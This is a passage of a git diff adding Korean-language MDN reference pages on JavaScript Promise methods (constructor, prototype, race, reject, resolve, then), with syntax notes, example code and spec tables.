+<div>{{EmbedInteractiveExample("pages/js/promise-constructor.html")}}</div>
+
+<p class="hidden">The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Promise(<var>executor</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>executor</code></dt>
+ <dd><code>resolve</code> 및 <code>reject</code> 인수를 전달할 실행 함수. 실행 함수는 프로미스 구현에 의해 <code>resolve</code>와 <code>reject</code> 함수를 받아 즉시 실행됩니다(실행 함수는 <code>Promise</code> 생성자가 생성한 객체를 반환하기도 전에 호출됩니다). <code>resolve</code> 및 <code>reject</code> 함수는 호출할 때 각각 프로미스를 이행하거나 거부합니다. 실행 함수는 보통 어떤 비동기 작업을 시작한 후 모든 작업을 끝내면 <code>resolve</code>를 호출해 프로미스를 이행하고, 오류가 발생한 경우 <code>reject</code>를 호출해 거부합니다. 실행 함수에서 오류를 던지면 프로미스는 거부됩니다. 실행 함수의 반환값은 무시됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p><code>Promise</code> 객체는 <code>new</code> 키워드와 생성자를 사용해 만듭니다. 생성자는 매개변수로 "실행 함수"를 받습니다. 이 함수는 매개 변수로 두 가지 함수를 받아야 하는데, 첫 번째 함수(<code>resolve</code>)는 비동기 작업을 성공적으로 완료해 결과를 값으로 반환할 때 호출해야 하고, 두 번째 함수(<code>reject</code>)는 작업이 실패하여 오류의 원인을 반환할 때 호출하면 됩니다. 두 번째 함수는 주로 오류 객체를 받습니다.</p>
+
+<pre class="brush: js;">const myFirstPromise = new Promise((resolve, reject) =&gt; {
+  // do something asynchronous which eventually calls either:
+  //
+  //   resolve(someValue)        // fulfilled
+  // or
+  //   reject("failure reason")  // rejected
+});
+</pre>
+
+<p>함수에 프로미스 기능을 추가하려면, 간단하게 프로미스를 반환하도록 하면 됩니다.</p>
+
+<pre class="brush: js;">function myAsyncFunction(url) {
+  return new Promise((resolve, reject) =&gt; {
+    const xhr = new XMLHttpRequest()
+    xhr.open("GET", url)
+    xhr.onload = () =&gt; resolve(xhr.responseText)
+    xhr.onerror = () =&gt; reject(xhr.statusText)
+    xhr.send()
+  });
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise-constructor', 'Promise constructor')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Promise.Promise")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Using_promises">프로미스 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/prototype/index.html b/files/ko/web/javascript/reference/global_objects/promise/prototype/index.html
new file mode 100644
index 0000000000..4569b4d26a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/prototype/index.html
@@ -0,0 +1,71 @@
+---
+title: Promise.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Promise/prototype
+tags:
+  - JavaScript
+  - Promise
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Promise.prototype</code></strong> 속성은 {{jsxref("Promise")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Promise")}} 인스턴스는 {{jsxref("Promise.prototype")}}을 상속합니다. 모든 <code>Promise</code> 인스턴스에 속성 또는 메서드를 추가하기 위해 생성자의 프로토타입 객체를 사용할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Promise.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 만드는 함수를 반환합니다. 기본값은 {{jsxref("Promise")}} 함수입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.prototype.catch()")}}</dt>
+ <dd>프로미스(promise)에 거부 처리기 콜백을 추가하고 호출된 경우 콜백의 반환값 또는 프로미스가 대신 이행된 경우 그 원래 이행(fulfillment)값으로 결정하는(resolving) 새 프로미스를 반환합니다.</dd>
+ <dt>{{jsxref("Promise.prototype.then()")}}</dt>
+ <dd>프로미스에 이행 또는 거부 처리기를 추가하고 호출된 처리기의 반환값 또는 프로미스가 처리되지 않은 경우 그 원래 처리된(settled) 값으로 결정하는 새 프로미스를 반환합니다 (즉 관련 처리기 <code>onFulfilled</code> 또는 <code>onRejected</code>가 <code>undefined</code>인 경우).</dd>
+ <dt>{{jsxref("Promise.prototype.finally()")}}</dt>
+ <dd>Appends a handler to the promise, and returns a new promise which is resolved when the original promise is resolved. The handler is called when the promise is settled, whether fulfilled or rejected.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.prototype', 'Promise.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype', 'Promise.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Promise.prototype")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/race/index.html b/files/ko/web/javascript/reference/global_objects/promise/race/index.html
new file mode 100644
index 0000000000..0874d619dd
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/race/index.html
@@ -0,0 +1,187 @@
+---
+title: Promise.race()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/race
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Promise
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Promise.race()</strong></code> 메소드는 Promise 객체를 반환합니다. 이 프로미스 객체는 iterable 안에 있는 프로미스 중에 가장 먼저 완료된 것의 결과값으로 그대로 이행하거나 거부합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-race.html")}}</div>
+
+<p class="hidden">해당 예제의 소스 코드는 GitHub 리포지토리에 저장되어 있습니다. 인터랙티브 데모 프로젝트에 기여하고 싶다면 <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> 를 클론하고 pull request를 보내 주세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Promise.race(<em>iterable</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>{{jsxref("Array")}}와 같은 iterable 객체. <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">iterable</a>을 참고하세요.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>주어진 iterable에서 처음으로 이행하거나 거부한 프로미스의 값을 <strong>비동기적으로</strong> 전달받는 <strong>대기 중</strong>인 {{jsxref("Promise")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>race</code> 함수는 인자로 주어진 iterable의 프로미스 중 가장 먼저 완료(settle)되는 것과 같은 방식으로 완료(이행/거부)되고, 같은 결과값을 전달하는 <code>Promise</code>를 반환합니다.</p>
+
+<p>전달받은 iterable이 비어 있을 경우, 반환한 프로미스는 영원히 대기 상태가 됩니다.</p>
+
+<p>Iterable에 프로미스가 아닌 값이나 이미 완료된 프로미스가 포함되어 있을 경우, <code>Promise.race</code>는 전달받은 iterable에서 처음으로 등장하는 이러한 값을 결과값으로 이행합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Promise.race의_비동기성"><font face="consolas, Liberation Mono, courier, monospace"><code>Promise.race</code>의 비동기성</font></h3>
+
+<p>다음 예제에서 <code>Promise.race</code>의 비동기성을 확인할 수 있습니다.</p>
+
+<pre class="brush: js">// Promise.race를 최대한 빨리 완료시키기 위해
+// 이미 이행된 프로미스로 배열을 만들어 인자로 전달
+var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)];
+
+var p = Promise.race(resolvedPromisesArray);
+// 실행 즉시 p의 값을 기록
+console.log(p);
+
+// 호출 스택을 비운 다음 실행하기 위해 setTimeout을 사용
+setTimeout(function(){
+    console.log('the stack is now empty');
+    console.log(p);
+});
+
+// 로그 출력 결과 (순서대로):
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: 33 }</pre>
+
+<p>비어 있는 iterable을 전달하면 반환한 프로미스는 영원히 대기 상태가 됩니다.</p>
+
+<pre class="brush: js">var foreverPendingPromise = Promise.race([]);
+console.log(foreverPendingPromise);
+setTimeout(function(){
+    console.log('the stack is now empty');
+    console.log(foreverPendingPromise);
+});
+
+// 로그 출력 결과 (순서대로):
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "pending" }
+</pre>
+
+<p>Iterable에 프로미스가 아닌 값이나 이미 완료된 프로미스가 포함되어 있을 경우, <code>Promise.race</code>는 전달받은 iterable에서 처음으로 등장하는 이러한 값을 결과값으로 이행합니다.</p>
+
+<pre class="brush: js">var foreverPendingPromise = Promise.race([]);
+var alreadyFulfilledProm = Promise.resolve(666);
+
+var arr = [foreverPendingPromise, alreadyFulfilledProm, "프로미스 아님"];
+var arr2 = [foreverPendingPromise, "프로미스 아님", Promise.resolve(666)];
+var p = Promise.race(arr);
+var p2 = Promise.race(arr2);
+
+console.log(p);
+console.log(p2);
+setTimeout(function(){
+    console.log('the stack is now empty');
+    console.log(p);
+    console.log(p2);
+});
+
+// 로그 출력 결과 (순서대로):
+// Promise { &lt;state&gt;: "pending" }
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: 666 }
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: "프로미스 아님" }
+</pre>
+
+<h3 id="setTimeout과_함께_Promise.race_사용_예"><code>setTimeout</code>과 함께 <code>Promise.race</code> 사용 예</h3>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> p1 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">resolve<span class="punctuation token">,</span> reject</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="function token">resolve</span><span class="punctuation token">(</span><span class="string token">'하나'</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="number token">500</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> p2 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">resolve<span class="punctuation token">,</span> reject</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="function token">resolve</span><span class="punctuation token">(</span><span class="string token">'둘'</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="number token">100</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+Promise<span class="punctuation token">.</span><span class="function token">race</span><span class="punctuation token">(</span><span class="punctuation token">[</span>p1<span class="punctuation token">,</span> p2<span class="punctuation token">]</span><span class="punctuation token">)</span>
+<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">value</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// "둘"</span>
+  <span class="comment token">// 둘 다 이행하지만 p2가 더 빠르므로</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> p3 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">resolve<span class="punctuation token">,</span> reject</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="function token">resolve</span><span class="punctuation token">(</span><span class="string token">'셋'</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="number token">100</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> p4 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">resolve<span class="punctuation token">,</span> reject</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="function token">reject</span><span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">Error</span><span class="punctuation token">(</span><span class="string token">'넷'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="number token">500</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+Promise<span class="punctuation token">.</span><span class="function token">race</span><span class="punctuation token">(</span><span class="punctuation token">[</span>p3<span class="punctuation token">,</span> p4<span class="punctuation token">]</span><span class="punctuation token">)</span>
+<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">value</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// "셋"</span>
+  <span class="comment token">// p3이 더 빠르므로 이행함</span>
+<span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">reason</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// 실행되지 않음</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> p5 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">resolve<span class="punctuation token">,</span> reject</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="function token">resolve</span><span class="punctuation token">(</span><span class="string token">'다섯'</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="number token">500</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> p6 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">resolve<span class="punctuation token">,</span> reject</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=&gt;</span> <span class="function token">reject</span><span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">Error</span><span class="punctuation token">(</span><span class="string token">'여섯'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="number token">100</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+Promise<span class="punctuation token">.</span><span class="function token">race</span><span class="punctuation token">(</span><span class="punctuation token">[</span>p5<span class="punctuation token">,</span> p6<span class="punctuation token">]</span><span class="punctuation token">)</span>
+<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">value</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// 실행되지 않음</span>
+<span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">error</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>error<span class="punctuation token">.</span>message<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// "여섯"</span>
+  <span class="comment token">// p6이 더 빠르므로 거부함</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.race', 'Promise.race')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>ECMA 표준에서 초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.race', 'Promise.race')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Promise.race")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.all()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/reject/index.html b/files/ko/web/javascript/reference/global_objects/promise/reject/index.html
new file mode 100644
index 0000000000..a376940d7e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/reject/index.html
@@ -0,0 +1,81 @@
+---
+title: Promise.reject()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/reject
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Promise
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Promise.reject(reason)</strong></code> 메서드는 주어진 이유(reason)로 거부된 <code>Promise</code> 객체를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>Promise.reject(reason)</var>;</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt>reason</dt>
+ <dd>이 <code>Promise</code>를 거부한 이유.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>정적 <code>Promise.reject</code> 함수는 거부된 <code>Promise</code>를 반환합니다. 디버깅 목적 및 선택된 오류를 잡기 위해, <code>reason</code>을 <code>instanceof</code> {{jsxref("Error")}} 이게 하는데 유용합니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="정적_Promise.reject()_메서드_사용">정적 Promise.reject() 메서드 사용</h3>
+
+<pre class="brush: js">Promise.reject("Testing static reject").then(function(reason) {
+  // 호출되지 않음
+}, function(reason) {
+  console.log(reason); // "Testing static reject"
+});
+
+Promise.reject(new Error("fail")).then(function(error) {
+  // 호출되지 않음
+}, function(error) {
+  console.log(error); // Stacktrace
+});</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.reject', 'Promise.reject')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>ECMA 표준에서 초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.reject', 'Promise.reject')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Promise.reject")}}</p>
+
+<p> </p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://github.com/petkaantonov/bluebird#error-handling">BlueBird Promise 라이브러리를 사용해 선택된 오류 잡기</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/resolve/index.html b/files/ko/web/javascript/reference/global_objects/promise/resolve/index.html
new file mode 100644
index 0000000000..64180ef2bf
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/resolve/index.html
@@ -0,0 +1,162 @@
+---
+title: Promise.resolve()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/resolve
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Promise
+  - 레퍼런스
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/resolve
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Promise.resolve(value)</strong></code> 메서드는 주어진 값으로 이행하는 {{jsxref("Promise.then")}} 객체를 반환합니다. 그 값이 프로미스인 경우, 해당 프로미스가 반환됩니다. 그 값이 thenable(예, {{jsxref("Promise.then", "\"then\" 메소드")}} 가 있음)인 경우, 반환된 프로미스는 그 thenable을 "따르며", 그 최종 상태를 취합니다. 그렇지 않으면 반환된 프로미스는 그 값으로 이행합니다. 이 함수는 프로미스형의 객체(무언가를 결정하는 프로미스를 결정하는 프로미스 등)의 중첩된 레이어를 단일 레이어로 펼칩니다.</p>
+
+<div class="blockIndicator warning">
+<p><strong>주의</strong>: 스스로를 결정하는 thenable 에서 <code>Promise.resolve</code> 를 호출하면 안됩니다. 이는 무한히 중첩된 프로미스를 펼치려고하므로 무한 재귀를 유발할 것입니다. Angular 에서 <code>async</code> Pipe 를 함께 사용한 <a href="https://stackblitz.com/edit/angular-promiseresovle-with-async-pipe?file=src/app/app.component.ts">예제</a>입니다. 자세한 내용은<a href="https://angular.io/guide/template-syntax#avoid-side-effects"> 여기</a>에서 확인하세요.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-resolve.html")}}</div>
+
+<div class="hidden">
+<p>The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>Promise.resolve(value)</var>;
+</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>이 <code>Promise</code>에 의해 결정되는 인수. <code>Promise</code> 또는 이행할 thenable 일수도 있습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<dl>
+ <dd>
+ <p>주어진 값으로 이행된 {{jsxref("Promise")}} 또는 값이 promise 객체인 경우, 값으로 전달된 promise. </p>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>정적 <code>Promise.resolve</code> 함수는 이행된 <code>Promise</code> 를 반환합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="정적_Promise.resolve_메소드_사용">정적 <code>Promise.resolve</code> 메소드 사용</h3>
+
+<pre class="brush: js">Promise.resolve("Success").then(function(value) {
+  console.log(value); // "Success"
+}, function(value) {
+  // 호출되지 않음
+});
+</pre>
+
+<h3 id="배열_이행">배열 이행</h3>
+
+<pre class="brush: js">var p = Promise.resolve([1,2,3]);
+p.then(function(v) {
+  console.log(v[0]); // 1
+});
+</pre>
+
+<h3 id="또_다른_Promise_이행">또 다른 <code>Promise</code> 이행</h3>
+
+<pre class="brush: js">var original = Promise.resolve(33);
+var cast = Promise.resolve(original);
+cast.then(function(value) {
+  console.log('value: ' + value);
+});
+<code>console.log('original === cast ? ' + (original === cast));
+</code>
+<code>// 로그 순서:
+// original === cast ? true
+// value: 33</code>
+</pre>
+
+<p>로그의 순서가 반대인 이유는 <code>then</code> 핸들러가 비동기로 호출되기 때문입니다. <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise/then#then_%EB%A9%94%EC%84%9C%EB%93%9C_%EC%82%AC%EC%9A%A9">여기</a>에서 <code>then</code> 이 동작하는 방식에 대해 확인하세요.</p>
+
+<h3 id="thenable_이행_및_오류_발생">thenable 이행 및 오류 발생</h3>
+
+<pre class="brush: js">// thenable 객체 이행
+var p1 = Promise.resolve({
+  then: function(onFulfill, onReject) { onFulfill("fulfilled!"); }
+});
+console.log(p1 instanceof Promise) // true, 객체는 Promise 로 변환됨
+
+p1.then(function(v) {
+    console.log(v); // "fulfilled!"
+  }, function(e) {
+    // 호출되지 않음
+});
+
+// thenable 이 콜백 이전에 오류를 throw
+// Promise 거부
+var thenable = { then: function(resolve) {
+  throw new TypeError("Throwing");
+  resolve("Resolving");
+}};
+
+var p2 = Promise.resolve(thenable);
+p2.then(function(v) {
+  // 호출되지 않음
+}, function(e) {
+  console.log(e); // TypeError: Throwing
+});
+
+// thenable 이 콜백 이후에 오류를 throw
+// Promise 이행
+var thenable = { then: function(resolve) {
+  resolve("Resolving");
+  throw new TypeError("Throwing");
+}};
+
+var p3 = Promise.resolve(thenable);
+p3.then(function(v) {
+  console.log(v); // "Resolving"
+}, function(e) {
+  // 호출되지 않음
+});
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.resolve', 'Promise.resolve')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>ECMA 표준에서 초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.resolve', 'Promise.resolve')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Promise.resolve")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/then/index.html b/files/ko/web/javascript/reference/global_objects/promise/then/index.html
new file mode 100644
index 0000000000..b7f79eee9c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/then/index.html
@@ -0,0 +1,308 @@
+---
+title: Promise.prototype.then()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/then
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Promise
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>then()</strong></code> 메서드는 {{domxref("Promise")}}를 리턴하고 두 개의 콜백 함수를 인수로 받습니다. 하나는 <code>Promise</code>가 <strong>이행</strong>했을 때, 다른 하나는 <strong>거부</strong>했을 때를 위한 콜백 함수입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-then.html")}}</div>
+
+<p class="hidden">해당 예제의 소스 코드는 GitHub 리포지토리에 저장되어 있습니다. 인터랙티브 데모 프로젝트에 기여하고 싶다면 <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> 를 클론하고 pull request를 보내 주세요.</p>
+
